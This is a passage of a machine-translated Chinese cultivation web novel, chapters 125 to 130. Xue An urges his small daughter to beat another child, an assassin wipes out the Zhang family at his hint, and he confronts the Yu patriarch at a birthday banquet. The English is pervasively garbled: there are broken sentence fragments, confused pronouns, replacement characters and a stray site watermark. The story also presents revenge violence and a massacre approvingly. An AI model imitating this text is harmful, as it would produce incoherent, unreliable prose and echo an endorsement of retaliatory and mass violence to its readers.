    Since childhood, the Zhang family hoped that Zhang Xiulun would marry Yu Ran.


    And Zhang Xiulun has the same thought.


    can be helpless, after all, I didn''t like him at all.


    Today, Zhang Xiulun knew that Yu Ran would definitely come to the Yushen Temple, so he came early, just thinking about getting in touch.


    But there was an extra Xue An, which made Zhang Xiulun very unhappy.

 Chapter 125： There are no bear children, only bear parents

    After waiting for the float, Zhang Xiulun tried to get in touch with Yu Ran several times.


    As a result, Yu Ran ignored him at all, instead chatting next to Xue An very happily.


    This caused the anger in Zhang Xiulun''s eyes to come out.


    Where did the kid come from? Actually bad my good deeds, and what is he talking to Yu Ran? Have a good chat?


    In fact, what he didn''t know was.


    At this moment, Xue An gave Yu Ran a faint look, and then said: "Use me as a shield, have you asked about the price?"


    Yu Ran chuckled, "Didn''t I hate that guy? You can block it for me first. In Lingnan, I will cover you!"


    Xue An is noncommittal.


    To this Yu family girl, he can''t talk about disgust, but he can''t talk about liking.


    is just a passerby who meets Pingshui.


    At this moment, I heard the quarrel of children coming from the front of the float, and the cry of the little girl.


    While ���� was talking, Yu Ran felt a strong murderous aura, and then she found that Xue An''s face changed drastically.


    The expression seems to be cannibalistic.


    Because Xue An heard who the cry came from!


    Xue Nian!


    must be his little daughter Xue Nian.


    Xue An rushed directly to the front of the float, and the scene in front of him made him more murderous.


    I saw Xue Nian sitting on the ground, with a corner of her skirt torn, and she was crying.


    And Xue Xiang was angrily arguing with a little girl opposite.


    This little girl is about eight or nine years old. She looks pretty, but her face is sour and mean, she is akimbo and quarreling with Xue Xiang.


    "Why did you push to my sister?" Xue Xiang said angrily.


    "I didn''t push her down, she did it herself, and I just want to wear your necklace, why are you so stingy." The little girl said brutally.


    At this time, Yu Ran, Zhang Xiulun and others rushed over.


    Xue wanted to see his father coming, and she shed tears aggrieved.


    Xue An walked over, picked up Xue Nian, who was crying on the ground, and touched Xue Xiang��s little head.


    "Don''t cry, Dad is here!"


    At this time, the little girl was a little guilty when she saw the adult coming, but she rolled her eyes and she saw Zhang Xiulun with a happy expression.


    "Uncle! Uncle! These people bully me!" The little girl''s face changed and she pretended to be very aggrieved.


    This little girl is Zhang Xiulun''s niece Zhang Xiaotong, who is eight years old this year.


    Zhang Xiulun was secretly happy in his heart.


    So this guy is already a father.


    And when he saw that it was his niece, his arrogance became even more arrogant.


    He also knew that his niece was very domineering outside because of excessive doting.


    Isn''t it just a kid? What a bully.


    Thinking in his heart, Zhang Xiulun said pretentiously: "Oh, kid, it''s normal to be noisy, forget it!"


    Xue An ignored him, but quietly comforted Xue Nian in his arms.


    At this time, Xue Nian whispered and said, "Dad, she insisted on wearing my necklace, but my dad gave it to me, so I didn��t want to give it to her, so she hit me!"


    Xue An felt distressed and comforted for a long time before he let Xue Nian stop crying, and then raised his head to look at Zhang Xiulun.


    "what did you just say?"


    Zhang Xiulun felt that Xue An��s eyes looked like ice, making her hair stand up.


    But he still smiled dryly and said, "It''s all children, and it''s normal to fight and make trouble. Let''s not mix up with adults!"


    Yu Ran frowned, just about to talk.


    Xue An nodded, "That''s right!"


    Zhang Xiulun breathed a sigh of relief.


    But what Xue An said next made him stunned.


    "Children��s affairs must be solved by the children themselves!"


    Said that Xue An lowered his head and said to Xue Nian: "Go, hit her!"


    Xue Nian hesitated, "Dad..."


    Xue An looked calm, "Didn''t she hit you? Then you will come back ten times!"


    Xue Nian gritted his teeth and walked towards Zhang Xiaotong.


    Zhang Xiaotong''s face was full of dissatisfaction at this time, but she was used to being aggressive outside.


    And Xue Xiang and Xue Nian are only four or five years old, how can they beat me?


    Zhang Xiaotong thought proudly.


    can wait for Xue Nian to walk back and forth, raise his small hand, and slap Zhang Xiaotong.


    Before Zhang Xiaotong could react, he was slapped to the ground by the slap.


    Xue Nian was indeed a little angry, and he rode directly on Zhang Xiaotong, and then Xiaofenquan cried as if he didn''t need money.


    It was Zhang Xiulun''s turn to be stunned.


    "You...you...stop it!" Zhang Xiulun became furious.


    Xue An said indifferently at this time: "Why do you stop? Why, you are only allowed to beat others?"


    "Yes..."


    Xue Ansen smiled, "You just said, children, we adults better leave it alone!"


    Zhang Xiulun was embarrassed and angry just like eating a fly.


    Xue An watched quietly.


    He is not instigating his daughter to fight, but sometimes, since others have already bullied you, you have to fight back without hesitation.


    Otherwise, you will only be bullied step by step.


    You have to know that although your two daughters are only four years old, they have tens of kilograms of strength to slap them after they have used the top-level Pei Yuan Dan.


    It''s just that the two little girls have a peaceful nature and don''t know how to use this to deal with people.


    After a while, Xue Nian stood up and looked at Zhang Xiaotong, who was lying on the ground with a blue nose and a swollen face and crying.


    "Dad is right, if you dare to bully me, I will fight back ten times!"


    Speaking, Xue Nianxiong walked back proudly.


    Zhang Xiaotong��s face is all blue and purple, and of course he can��t continue to parade with the float.


    In desperation, Zhang Xiulun could only pick up his niece, looked at Xue An bitterly, and got out of the car.


    At this time, Yu Ran, who had been holding back a smile, couldn''t help laughing.


    "Good fight! This Zhang Xiaotong is a famous bear kid in Lingnan!"


    Yu Ran has heard of the name of the bear kid from the Zhang family. It can be seen how often she has been angry and complained.


    At the same time, Yu Ran became more and more curious about Xue An.


    What is the origin of this man?


    can actually let his daughter fight. This way of education is really unique.


    "Bear child?" Xue An smiled faintly, "In my eyes, there are no bear children, only bear parents!"


    Zhang Xiulun hugged his niece and went home directly.


    His eldest brother, who is also the current home of the Zhang family, advocates that Yi is at home.


    When I saw my daughter came back with a wound on her face, she couldn''t help but furious.


    "Who? Who did it?"


    Zhang Xiulun said the matter again with added effort and jealousy.


    When I heard that this person was walking very close to Yu Ran.


    Zhang Yi''s complexion can''t help being even more ugly.


    He always hoped that his younger brother would marry this Miss Yu family.


    No, this person must find a way to solve it.

 Chapter 126： Self-destruction

    Zhangjia.


    In a quiet and elegant room, Zhang Yi and Zhang Xiulun sat on chairs with pious faces.


    Because there was a woman with arrogant expression sitting opposite them.


    This woman is very beautiful, but in the eyes of the Zhang brothers, she is like a fairy in the moon palace, unattainable.


    "Let''s talk about it, what''s the matter?" The woman gently lifted her lips and asked lightly.


    "Fairy, today my brother ran into someone who said it was very powerful and it was not good for our Zhang family, so I..."


    "Did you kill it?" the woman said coldly.


    "This... naturally better."


    The woman stood up and said, "I have lived in your Zhang''s house for a while. It''s just killing someone, so it''s the money."


    The woman''s words seemed to not mind killing individuals.


    Zhang Yi looked excited, "That''s good, that''s good! He lives in Lingnan City."


    The woman nodded, "Okay, wait a moment, I will bring the head back."


    As she said, the woman turned and pushed open the window, and disappeared into the night.


    Two brothers Zhang Yi are left in the house.


    At this time, Zhang Xiulun said in a little amazement: "Brother, who is this woman and why is she so powerful?"


    Zhang Yi smiled, "This is the super master I invited from outside some time ago, and is called the Fairy Yuehua Xiangbing."


    "Fairy Yuehua..." Zhang Xiulun was fascinated.


    Zhang Yi has a complacent expression on his face.


    In his opinion, as soon as Fairy Yuehua made a move, besides the Yu family, could there be opponents in the entire Lingnan?


    After all, that''s the eighth-ranked master.


    After a day of play, Yu Ran forced a meal at Xue An��s place, and then reluctantly left.


    Xue An coaxed his two daughters to sleep, which was convenient for sitting in the living room.


    Lingnan is rainy.


    So at this time it started to rain again and again.


    Hei Wang and Ma Cheng also went back to the room to rest, and Xue An was left alone in the huge living room.


    After I don��t know how long, Xue An put down the water glass and said faintly: "Since it''s here, then come in!"


    boom.


    The glass door shattered, wind and rain poured in, and Xiang Bing walked in with a cold face.


    "Someone wants to kill today..." Xiang Bing was stunned.


    Because she saw Xue An with a smile on her lips.


    "you you����."


    "Long time no see." Xue An smiled slightly.


    Xiang Bing began to tremble uncontrollably.


    So it was him!


    If you knew it was him, then even if the Zhang brothers knelt down and begged for themselves, Xiang Bing would not come.


    I''m looking for death because I came here!


    Up to now, Xiang Bing still clearly remembers the scene of Xue An punching the old man Zhitian at the martial arts conference.


    And I heard that Xue An would later kill the Shechem of the Yu family with the sword, and threatened to level Lingnan in seven days.


    Now that he has come to Lingnan, is it true that what he said is true?


    Thinking of this, Xiang Bing felt that his heels were cold.


    "Don''t be so scared, sit down!" Xue An said lightly.


    Xiangbing sat down tremblingly.


    "The Zhang family asked you to come?" Xue An asked.


    trembled to Bing, then nodded.


    "Hehe, he really is a family child who regards human life as a must." Xue An smiled mockingly.


    Xiang Bing trembled at this time: "Big...sir, I really don''t know it''s...you, I deserve to die!"


    Xue An waved his hand, "I won''t kill you!"


    Secretly relieved to Bing.


    "But what to do next, you should be clear!" Xue An looked at Xiang Bing with playful eyes.


    gave Bing a moment''s attention, and then a trace of determination flashed across his face.


    "Okay! I understand!"


    said Xiang Bing stood up, gritted his teeth, and took off the windbreaker outside.


    Slender and moving curves are revealed.


    Xue An was startled, and then a little bit dumbfounded, "What are you going to do?"


    "Big...sir, you''re not...." Xiang Bing said falteringly.


    Xue An waved his hand helplessly, "I mean, since the Zhang Family''s shot is so cruel, there is no need for it, understand?"


    Xiang Bing was stunned, and then quickly put on the windbreaker, blushing.


    She thought Xue An was looking good at herself, what about her plan.


    She was even ready to sacrifice her innocence and patience.


    Xue An didn''t mean that.


    Xiang Bing was even vaguely disappointed.


    "Please rest assured, my lord, I promise that the Zhang family will not see the sun tomorrow!"


    After that, Xiang Bing turned around.


    At this time, the Black King heard a noise in the living room and hurried downstairs.


    "Sir, what''s the matter?"


    Xue An smiled, "It''s okay, it''s because the wind is too strong, and the door is blown!"


    After Xiang Bing returned to Zhang''s house, Zhang Yi and Zhang Xiulun were waiting for her.


    As soon as she saw her back, Zhang Yi couldn''t help but greeted her with excitement.


    "Fairy, did you kill this person? Haha, I know that once the fairy makes a move, it must be extraordinary."


    The sound stopped abruptly.


    Because Zhang Yi''s head thumped and fell.


    Zhang Xiulun didn''t react at first, until he blinked, he didn''t understand what was going on.


    "Brother!" Zhang Xiulun exclaimed.


    stepped forward indifferently to Bing, "He''s dead!"


    "You...Why are you killing my brother?" Zhang Xiulun shouted with horror and anger.


    "Then I have to ask you guys, I dared to offend adults and almost killed me too!" Xiang Bing walked with a cold smile.


    Zhang Xiulun''s head was a little confused.


    grown ups?


    What adult?


    "What do you mean? Who has our Zhang family offended?"


    Xiang Bing shook his head, "It doesn''t matter anymore, because the adults saidyou Zhang family...there is no need for existence!"


    After that, Zhang Xiulun''s head also fell.


    There was even a look of astonishment and puzzlement on his face.


    That night.


    The Zhang family is full of doors, and everyone is dead.


    The news the next day caused a sensation throughout Lingnan.


    When Xue An knew, he was also taken aback.


    This Xiang Bing is so spicy.


    I just wanted her to kill the Zhang brothers, but she actually killed the whole house, not even a dog.


    When such a big thing happened, the Yu family naturally knew.


    When Yu Ran learned the news, she was shocked.


    Zhang Xiulun is dead?


    The Zhang family was destroyed?


    There is something dizzy in her head.


    Although she doesn''t like or even hates this Zhang Xiulun. But he didn''t expect that he would die overnight.


    Could it be.......


    Yu Ran''s complexion was a bit ugly, so he came to Xue An directly.


    But when she saw Xue An aggressively, she suddenly couldn''t say what she was ready.


    Xue An looked up at her, then smiled slightly.


    "I didn''t kill people!"


    "How do you know I want to ask this?"


    "Because it is written on your face!" Xue An said lightly.


    This Miss Yu''s family is obviously usually spoiled and has no motives at all.


    If you want to harm her, it''s too simple.


    After a moment, he touched his face, and then his face turned red gradually.


    "Ahem, I don''t have one. If you die, you will die. Our family has sent someone to check it. By the way, will you have time tomorrow? My birthday, come to the party!"


    Tomorrow?


    Xue An was startled slightly.


    Tomorrow... is seven days.

 Chapter 127： Adult feast

    "How about it, have you found it out?" Yu Lang asked.


    "Lord Homecomer, it has been found out that the Zhang family should have been killed by the master of the celestial list he enshrined." A senior manager bowed his head.


    "Oh? Sky ranking master? Who?"


    "Inferred from the scar, it should be Zheyun hand."


    "Zhen Yun Shou?" Yu Lang smiled slightly, "Is that the famous skill of Fairy Yuehua Xiang Bing?"


    "It should not be wrong!"


    "Okay, I see, it doesn''t matter if there is only one Xiang Bing, and the next killing order is worthy of the Zhang family!"


    "Understand!"


    "Tomorrow is Ran''er''s 18-year-old adult banquet, how are you preparing?" Yu Lang is obviously more concerned about this issue.


    "It''s all ready!"


    "Hmm! Remember to add more guards, the nearest Lingnan... is not peaceful!"


    "Yes!"


    After the man stepped back, Yu Lang looked at the scenery outside the window, a cold smile appeared at the corner of his mouth.


    Tomorrow is the seven-day period.


    will you come?


    should be!


    But do you think you can live so easily if you kill one of my sons?


    Yanger, I will avenge you for my father.


    Yu Lang thought, and with a slight movement of his fingers, the flying insects in the room fell silently.


    can fall, but still alive, but can''t fly anymore.


    The wings were still there, but at that moment, Yu Lang shattered the veins of the wings with invisible sword energy.


    This kind of mastery to the peak is the most difficult.


    The news that the Zhang family was destroyed has only been hot in Lingnan folks for less than a day, and it has been replaced by another topic.


    That is Miss Yu Jia is about to host an 18-year-old adult banquet.


    The status of the Yu family among the people of Lingnan is so high that no one else can imagine it.


    There are even people in remote areas who worship the Yu family as gods.


    Therefore, the rest of the adult banquet naturally attracted countless eyes.


    Lingnan large and small wealthy families, and even men who think they are better, are all stepping up preparations.


    Who doesn''t want to win Yu Ran''s heart at this birthday banquet, and then become the Yu''s son-in-law, from then on to the sky.


    Waited until this day.


    The door of Yu''s house was crowded with people who came to celebrate early.


    All the teenagers are dressed in glamorous clothes, and they all look forward to seeing the beautiful women soon.


    at last.


    I came out.


    This is the first time many people have met Yu Ran.


    Although it is rumored that Yu Ran looks beautiful, many people think this is flattery to the Yu family.


    can wait to see Yu then.


    These ideas are all self-defeating.


    I didn''t expect the beauty of this young lady from the Yu family.


    Although she is still young, she doesn''t have the charm of a mature woman.


    But this youthful beauty has fascinated these young people even more.


    For a while, the familiar family brothers have already leaned forward with a smile.


    The unfamiliar ones are also surrounded outside, wondering if they can catch a few words.


    There are also some people who are completely indifferent, trying to make Yu Ran notice themselves.


    Yu Ran, who can be surrounded by stars like the moon, although smiling and replying, the words are full of perfunctory, and the eyes are drifting around.


    It seems like... someone is looking for.


    Many distant teenagers were shocked, and then they became excited. Could it be that they are looking for me?


    Therefore, they all straightened their chests, expecting Yu Ran''s gaze to stay more on him.


    But I just glanced around, then lowered his eyes with disappointment.


    At this time, someone from the family who is more familiar with the Yu family smiled and said, "Sister Yu Ran, are you looking for something?"


    Yu Ran doesn''t bother to care about these people at all.


    Although only two days have passed.


    But Yu Ran felt like... as if sinking in.


    Different from the immature and superficiality of these teenagers, Xue An is always cold and never puts words on himself.


    But the more it is, the more it is like a magnet, which firmly attracts Yu Ran.


    Yu Ran also knows that Xue An is much older than himself and has two daughters.


    But she just got stuck in it.


    After falling in love with "uncles" like Xue An, Yu Ran looked at these outstanding teenagers again, it was naive and terrifying.


    Why haven''t you come?


    Didn��t I tell him to come early today?


    Yu Ran bitterly.


    I was thinking, when Xue An was walking slowly with his two daughters and the Black King and others.


    As soon as she saw Xue An, Yu Ran greeted him with surprise.


    "Why did you come?" Yu Ran said with some dissatisfaction.


    The many teenagers onlookers felt their hearts sink.


    Because of Yu Ran''s attitude, it''s like acting like a baby.


    Therefore, many people stared at Xue An with hostile eyes.


    Xue An smiled faintly, "Something has been delayed, happy birthday!"


    "Hmm! Go in!" Yu Ran thought this was the best blessing I heard today.


    Xue An carried a long package in his hand, and walked in behind Yu Ran.


    Waiting for them to enter.


    These teenagers got together with dissatisfaction.


    "Who is that man?"


    "I don''t recognize it! It''s definitely not our Lingnan people!"


    "Damn, it seems that Miss Yu takes him seriously!"


    "Yes, and I think the man is still leading the two children, is he still the one with the children?"


    "What''s Miss Yu''s vision? I''m not convinced!"


    These teenagers wailed.


    But some of them didn''t say a word, their eyes were grim, and they seemed to be thinking something.


    "Hey, Shao Yang, why don''t you speak?" Someone asked this person at this time.


    This Yang Shao is called Yang Xudong and belongs to the Yang family in Lingnan. Although the Yang family is not a top wealthy in Lingnan, because the family''s business is very large, UU reading can even rank in Lingnan on wealth. The first three, so today he also came.


    And he and Yu Ran have known each other a long time ago, and have been on a fierce offensive against Yu Ran.


    After hearing the question, Yang Xudong sneered slightly, "That man is not from Lingnan, and he doesn''t look like a wealthy boy in his clothes. I''m afraid of what he will do?"


    After speaking, Yang Xudong turned and walked in.


    The rest of the people looked at each other, sighed and followed.


    At this moment, the Yu''s house was lit up everywhere, and the banquet was placed in the Yu''s garden.


    Yu Ran has been chatting non-stop.


    Xue An only nodded occasionally, never speaking.


    It is Xue Xiang and Xue Nian, who have been looking around, obviously interested in the quaint house of the Yu family.


    "Dare to ask where is this friend from?" Yang Xudong suddenly leaned over at this time, and asked Xue An in a bad tone.


    Yu Ran''s face became cold, "Yang Xudong, what are you doing?"


    "Of course, it''s okay, I just think this friend is a little strange, I want to ask!" Yang Xudong looked cold and looked at Xue Andao.


    Xue An smiled slightly, "Me? I''m not from Lingnan."


    Yang Xudong''s expression became worse and worse, "Not from Lingnan? Then these two little girls..."


    "My daughter!"


    Yang Xudong looks at Yu Ran, that means he has children!


    But Yu Ran just waved his hand impatiently, "Well, the banquet will begin in a while, you don''t need to ask questions here!"


    Yang Xudong was speechless, looked at Xue An bitterly, and turned to aside.


    "Brother Dong, what should I do?"


    "Don''t worry, it will make him look good!" Yang Xudong gritted his teeth and said.

 Chapter 128： Do you like this gift?

    waited till dusk.


    Yu Ran��s birthday party finally officially started.


    Of course, Yu Lang spoke first.


    saw him smiling, standing on the stage toasting: "Thank you all for coming to celebrate the birthday of the little girl, this cup, I respect everyone!"


    After talking, Yu Lang drank it.


    The people below applauded loudly. Someone laughed and said, "Patriarch Yu is really bold!"


    Then Yu Lang smiled again: "Everyone knows that this birthday party is actually a gift for the little girl. From then on, my little girl has grown up!"


    There was a burst of laughter below, and many teenagers stared at Yu Ran with fiery eyes.


    Yu Ran lowered his head a little shyly, but quietly looked at Xue An in his eyes.


    I saw Xue An drinking slowly, as if these things from the outside world had nothing to do with him.


    Yu Ran gritted his teeth a little annoyed.


    At this moment, a teenager could not restrain himself, rushed to the front, holding a box in his hand, and said very excitedly: "Miss Yu, happy birthday to you, this is a gift for you!"


    Yu Ran took it, politely smiled, "Thank you!"


    The young man did not leave, "Miss Yu, you can take a look at it. That is my heart."


    There is no other way but to open the box.


    Inside ���� is a jeweled garment.


    "Miss Yu, this is what I brought back from abroad. It was written by a master..." The teenager wanted to continue.


    Yu Ran has already closed the box impatiently, "Sorry, I''m not interested in these."


    The words behind the boy couldn''t speak, so he had to retreat.


    Yu Ran��s move made many people who are eager to try to give gifts, feel very tight.


    Yang Xudong chuckled. He had already inquired about Yu Ran''s preferences in advance and knew that she didn''t like things that were too luxurious.


    Therefore, the gift he prepared today is ingenious.


    Yang Xudong coughed, then walked to Yu Ran and smiled slightly.


    "Sister Yu Ran, what do you think this is?"


    As Yang Xudong offered treasure, he opened a box he brought with him.


    Everyone held their breath, and then they saw clearly that there was a painting inside.


    paints the side face of a woman sitting alone on the river bank. This painting looks plain and unremarkable at first, but the more you look at it, the more people feel like it is left.


    Even Yu Lang couldn''t help but startled slightly.


    "Could it be... from the handwriting of the master of traditional Chinese painting, Ku Yue?"


    "Uncle Yu really has good eyesight. That''s right, this is the painting of Old Man withered Moon!" Yang Xu said with complacency.


    There was an uproar below.


    The old man with dry moon.


    That is a figure like the master of the Chinese painting circle. He lived in the central capital for a long time. I heard that he had closed his pen long ago. I didn''t expect to see his autograph today.


    At this time, Yang Xudong rushed to Yu Ran and said emotionally: "Sister Yu Ran, this is what I looked like when I met you on the riverside last year, and this picture has been lingering in my mind, so I went to invite Old Man Ku Yue, Let him draw it for me, this time, I will give it to you!"


    This gift is atmospheric and meaningful, and many people can''t help but admire it.


    Yu Ran looked calm, but nodded slightly.


    "Thank you!"


    Yang Xudong was a little disappointed, he thought that such a gift would impress Yu Ran.


    But still smiled, then turned around and got off the stage.


    But instead of returning to his seat, he went straight to Xue An.


    Everyone looked at it.


    I saw Yang Xudong standing in front of Xue An with a sneer on his face.


    "My friend, you also come to celebrate Miss Yu''s birthday today, what about your present?"


    Many teenagers couldn''t help but scream in secret in their hearts.


    As expected, it is Shao Yang, this hand is extremely beautiful.


    Looking at this guy''s sour clothes, he probably didn''t prepare any gifts.


    In this way, I guess he is embarrassed to stay any longer.


    And Yu Ran was utterly discolored, just about to have a seizure.


    Xue An laughed.


    "Did you say my gift?" Xue An said lightly.


    Yang Xudong nodded, "Of course!"


    Xue An shook his head, "I''m sorry, I really didn''t prepare a gift for her."


    Yang Xudong showed a sarcasm smile on his face, "Is it unprepared...or can''t it?"


    Many people laughed.


    Some people simply said without concealing: "Looking like that, I guess I can''t prepare for it!"


    "Tsk, I really don��t understand why we should invite such a poor fellow."


    Amidst these discussions, Xue An looked calm, "Although I did not prepare a gift for Yu Ran, I prepared a generous gift for Patriarch Yu!"


    "Oh? To Uncle Yu?" Yang Xudong was taken aback.


    Xue An picked up the long parcel and smiled at Yang Xudong, "Please send it to me, please!"


    Yang Xudong wanted to refuse, but he was really curious about what this thing was, so he took it.


    Yu Lang is also somewhat inexplicable at this time.


    Mingming is my daughter��s birthday party.


    How can someone give yourself a gift?


    After receiving the package, his complexion changed slightly.


    At this time, Xue An smiled faintly, "Open it and take a look! I think you will be pleasantly surprised by the contents."


    The voice is not loud, but it reaches everyone''s ears clearly.


    Yu Lang looked solemn, and quickly untied his burden.


    When they saw what was inside, everyone became discolored.


    Because there is a sword inside!


    A long sword like a long autumn water!


    Many sharp-eyed people recognized the sword at a glance, and couldn''t help but exclaim.


    "It''s the Dragon Sword!"


    "Isn''t this the saber that Yu Yang carried?"


    Yu Lang''s discoloration changed even more He turned his head and looked at Xue An sitting at the table in the distance.


    "You... really came!"


    Xue An nodded, "Since I''m here, I must come! Isn''t it? Patriarch Yu?"


    Following the voice, the Dragon Yin Sword in Yu Lang''s hand let out a whistle.


    Yu Lang''s face was gloomy and terrible, "Xue An, you killed my son Yu Yang and dare to come here. Are you really deceiving my Yu family?"


    This sentence is like a giant bomb, and the whole audience is silent.


    what?


    Is this man Mr. Xue who sword cut Yu Yang?


    Many people can''t help but think of that rumor.


    I heard that Mr. Xue, who cut Yu Yang with the sword, said that he would enter Lingnan after seven days and cut Yu''s house with the sword!


    No one would believe it.


    think this is impossible!


    But today, Xue An��s arrival has confirmed this!


    Unexpectedly, he actually came.


    not only came, but also came with the Dragon Yin Sword.


    Only Yu Ran looked pale, looking at Xue An in despair.


    He... Is he the murderer who killed his third brother?


    No wonder his surname is Xue!


    I''m so stupid!


    should have thought of it long ago!


    Xue An was still sitting in the same place at this time, just raised his head and smiled at the pale Yang Xudong.


    "Do you think this gift is okay?"


    How dare Yang Xudong speak, he only feels his calves are shaking now.


    Then Xue An looked at Yu Lang and shook his head slightly, "It''s not that you are bullying no one in your Yu family, but you just want to learn and teach. Are your Yu family''s kendos like your son... unbearable!"

 Chapter 129： I have a glass of wine, enough to comfort the wind and dust.

    One stone stirred up waves.


    Xue An''s words caused a commotion among the people present.


    dare to say that the Yu family''s kendo cultivation is unbearable. In the eyes of everyone, this is like telling a big joke.


    Yu Lang sneered, "Xue An, don''t think that you can kill my son Yu Yang, so you can treat the Yu family, the details of the Yu family are beyond your understanding!"


    Following the voice, a majestic sword aura suddenly radiated from Yu Lang''s body. The pressure was so great that even the tables, chairs and cutlery in front of him shattered in an instant.


    But under this terrifying momentum, Xue An is still sitting on the chair calmly, even pale with a calm expression, nodding his head with tears in his eyes.


    "Excuse me, your birthday party may be going to be soaked!"


    Yu Ran shocked all over, and tears fell down.


    Yu Lang''s eyes narrowed, he thought Xue An was mocking his daughter.


    Under the eagerness of the beloved daughter, Yu Lang couldn''t help being furious.


    "The madman is killed!"


    Yu Lang roared, countless small sword auras suddenly appeared in front of him, and then merged into a long sword at a rapid speed.


    "Go!" Yu Lang said lightly.


    This sword disappeared in front of everyone in an instant, and when it reappeared, it had rushed in front of Xue An, and the tip of the sword was even less than one centimeter away from Xue An''s nose.


    is the distance of this centimeter, just like the sky, it can''t be saved anymore.


    Because Xue An has already held the sword with his left hand.


    This scene changed Yu Lang''s color, and exclaimed, "How is it possible!"


    Yes!


    This sword is condensed by sword energy, extremely sharp and indestructible.


    How could it be held by someone?


    But Xue An showed two nice tiger teeth, and smiled sensibly: "In front of me, nothing is impossible!"


    After that, Xue An''s left hand slightly hardened.


    The sword was crushed to pieces, and then disappeared.


    This shocking method shocked everyone.


    Yu Lang''s expression became serious.


    He thought that this Xue An was no more than the cultivation base of the Celestial and Human Realm, and he could be regarded as the pinnacle of the Celestial Man at any rate, and he could become a half-step Sanxian existence in just one step. It would be no problem to deal with him.


    Unexpectedly, this Xue An''s method would be so unpredictable.


    Yu Lang took a deep breath and sneered: "Sure enough, it''s a good method, but do you think it can be right against my Yu family with this? Sword Servant takes orders!"


    Following Yu Lang''s order, a dozen men with indifferent expressions holding long swords slowly walked out of the corner.


    Everyone''s cultivation is half-step Tianren.


    This kind of cultivation base, thrown outside at random, is a big man, but in Yu''s house, it is just a swordsman.


    "Sword formation!" Yu Lang said coldly.


    More than a dozen sword attendants raised their swords in their hands.


    After a boom, a murderous sword formation enveloped Xue An.


    The sword light lingers like a light curtain, and I can''t even see the situation inside.


    Everyone secretly breathed a sigh of relief.


    This time, it is probably dead.


    There is nothing left, fingers squeezing clothes hard, eyes painful.


    At this time, Yang Xudong came over unfamiliarly, "Sister Yu Ran, don''t be afraid, I will protect you!"


    Yu Ran glanced at him indifferently, "Go away!"


    Yang Xudong was stunned when he was scolded, and then he was filled with anger.


    dare to scold me?


    Seems to be sad for Xue An who was buried under the sword formation!


    Thinking of this, Yang Xudong''s jealous eyes turned blue.


    What''s the use of being sad?


    It is estimated that Xue An has been chopped into meat!


    But at this moment, I heard a calm voice coming from the sword formation.


    "It''s funny, but too weak!"


    With the voice, the sword that was pouring down like a waterfall suddenly stagnated, and then burst into pieces.


    These sword servants all flew upside down, no more sound.


    Looking at Xue An again, he was still sitting on the chair, even holding a glass of wine in his hand.


    "Patriarch Yu, your sword formation... is defeated!" Xue An said lightly.


    As soon as he said this, the audience was silent.


    Yang Xudong''s face instantly became extremely ugly.


    Even the sword formation can''t help him?


    How high is his cultivation level?


    "I underestimated you!" At this moment, Yu Lang said slowly.


    Everyone looked around and saw Yu Lang slowly pulling out the saber around his waist.


    Many people are slightly discolored.


    This is the first time that Yu Lang has drawn a sword in ten years since he became the owner of the family.


    "This sword is called Wei Fengchen! It is not a famous sword in the world, but to me, it is my most loyal partner! At the beginning, I carried this sword and cut twelve R country kendo masters in succession! So.... "


    Yu Lang��s eyes were full of cold sword intent, "You can die under this sword, and I can count on you being so young that I have such respect for your cultivation!"


    Every time he said a word, Yu Lang''s momentum weakened by one point, and in the end, he was even like an ordinary person, unremarkable.


    There are many people who know swords, but their faces have changed drastically.


    Because this shows that Yu Lang''s control of his own aura has reached its peak.


    But Xue An was unmoved, drank the wine slowly, and chuckled lightly.


    "I have a glass of wine, which is enough to comfort Fengchen. Good name! Patriarch Yu...please take out the sword!"


    The voice fell, and Yu Lang was pierced with a sword.


    This is an unremarkable sword, there is no wind, no momentum.


    Yes, it''s just the red light on the tip of the sword.


    But this is the red light , but it makes many people who know kendo look very dignified.


    Because they know that the reason why this sword is so plain is because Yu Lang has condensed all the sword power onto the tip of the sword without any loss.


    This is the sword of Xeon!


    In comparison, those sword-qi sword formations just now looked like juggling.


    The sword has pierced halfway.


    A smile appeared at the corner of Yu Lang''s mouth.


    Because he felt that he would definitely win.


    But at this moment, a slender hand suddenly appeared, and then the finger flicked the tip of the sword.


    boom.


    After ���� there was a muffled sound, a powerful shock wave spread directly, overturning all the surrounding tables and chairs.


    Even the trees and buildings in the distance were not spared, and they all broke in unison.


    Yu Lang was horrified, because Xue An��s understatement made him almost unable to hold the sword in his hand.


    Yu Lang retreated sharply, finally showing a trace of panic on his face.


    Now the Yu family has the highest level of kendo cultivation, that is, the eldest son of Yu Lang, and the eldest brother of Yu Ran, Yu Ming, is waiting for the ancestor of the sword immortal to leave the gate on the back mountain Jianlu.


    The entire Yu family is Yu Lang alone.


    If I really lose, then the reputation of the rest of the family will be destroyed for decades.


    But Xue An did not pursue the victory, but raised his head to look into the distance, and a faint smile appeared at the corner of his mouth.


    "I didn''t expect to see such a pure sword repair in this world."


    Following Xue An''s words, a terrifying aura rose to the sky from the hill behind Yujia.

 Chapter 130： Sword energy is 30,000 li, 1 Jianguanghan 19 states

    This momentum is so powerful that it even disperses the dark clouds in the sky.


    Yu Lang was taken aback for a moment, and then ecstatic, "It''s the ancestor, the ancestor... is out!"


    His words changed everyone''s expressions.


    There is only one person who can be called the ancestor by Yu Lang.


    That is the Lingnan sword fairy who killed twelve kendo masters with one man and one sword 40 years ago and shocked the world in one fell swoop.


    Yu Yuanichi!


    Could it be that he really got out?


    Just when people were in a state of uncertainty, they saw someone chanting from the back of the mountain: "Sword energy is 30,000 miles across, and a sword glorifies nineteen states!"


    The sound is not loud, but like a small sword, it hits the heart directly.


    There are people with shallow cultivation bases, and their complexion pales after hearing this sentence.


    At the same time, a sword of light came straight from the back mountain, and everyone felt that there was a flower in front of them, and there were two more people in the courtyard.


    One is a young man in his twenties, and the other is a middle-aged man in his forties with cut-off eyebrows and star-like eyes.


    As soon as he saw this person, Yu Lang plopped and fell to his knees, tears streaming down his face, "Grandson has seen the ancestor!"


    Yu Lang knelt down, the rest of the Yu family also knelt to the ground, shouting in unison: "I have seen the ancestor!"


    Yu Yuanyi smiled faintly, "Get up, I''m the head of the family anyway, what does it look like crying?"


    Yu Lang just stood up, and then said respectfully and admiringly: "Grandson congratulates the ancestor of the swordsmanship, and he is promoted to... longevity!"


    Longevity!


    These two words seem to have infinite magic power, and everyone''s mind is shocked when they are exported.


    You need to know that the realm of cultivation is roughly divided into the realm of humanity, the unfettered realm, the realm of heaven and human, the realm of scattered fairyland, the realm of longevity, the golden fairy, the true fairy, the great Luo, the fairy king, the fairy emperor, and the fairy sovereign.


